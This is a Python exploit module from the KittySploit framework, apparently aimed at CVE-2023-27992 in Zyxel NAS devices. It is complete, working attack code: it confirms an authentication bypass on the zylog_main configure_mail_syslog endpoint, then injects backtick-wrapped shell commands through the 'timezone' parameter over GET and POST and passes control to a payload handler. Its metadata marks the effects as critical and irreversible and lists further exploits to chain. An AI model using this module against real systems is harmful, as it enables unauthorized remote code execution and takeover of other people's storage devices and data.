Zyxel NAS zylog RCE (CVE-2023-27992)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zyxel NAS zylog pre-auth command injection (CVE-2023-27992)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Zyxel NAS zylog RCE (CVE-2023-27992)',
        'description': (
            'Exploits CVE-2023-27992 in Zyxel NAS: pre-auth command injection via '
            'configure_mail_syslog after auth-bypass path /cmd,/ck6fup6/zylog_main/.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2023-27992'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-27992'],
        'tags': ['zyxel', 'nas', 'backdoor', 'cmdi', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/cve_2023_27992_zyxel_nas_detect',
                    'exploits/linux/http/zyxel_nas_cve_2020_9054_rce',
                ],
            },
        },
    }

    zylog_base = OptString(
        '/cmd,/ck6fup6/zylog_main/configure_mail_syslog',
        'Zyxel zylog endpoint base',
        required=False,
        advanced=True,
    )

    def _bypass_ok(self) -> bool:
        base = str(self.zylog_base or '').strip()
        r = self.http_request(method='GET', path=f'{base}/favicon.ico', allow_redirects=False)
        return bool(r and re.search(r'"errorMsg"\s*:\s*"OK"', r.text or ''))

    def execute(self, cmd: str) -> str:
        base = str(self.zylog_base or '').strip()
        inj = urllib.parse.quote(f'`{cmd}`', safe='')
        for path in (f'{base}/favicon.ico?timezone={inj}', f'{base}?timezone={inj}'):
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and (r.text or '').strip():
                return r.text or ''
        r = self.http_request(
            method='POST',
            path=base,
            data=f'timezone=`{cmd}`',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        if self._bypass_ok():
            body = self.execute('id')
            if re.search(r'uid=\d+', body or ''):
                return {'vulnerable': True, 'reason': 'CVE-2023-27992 injection confirmed', 'confidence': 'high'}
            return {'vulnerable': True, 'reason': 'Zyxel zylog bypass surface active', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Zyxel NAS 27992 not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check().get('vulnerable'):
            self.not_vulnerable()
            return False
        if not self.check_execute():
            print_warning('Bypass confirmed — command output may be blind')
            self.execute(str(getattr(self, 'command', '') or self.payload or 'id'))
            return True
        return self.handler_execute()